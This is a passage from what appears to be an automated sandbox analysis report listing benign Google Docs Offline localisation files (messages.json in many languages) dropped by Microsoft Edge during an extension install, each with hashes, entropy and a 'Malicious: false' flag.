Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

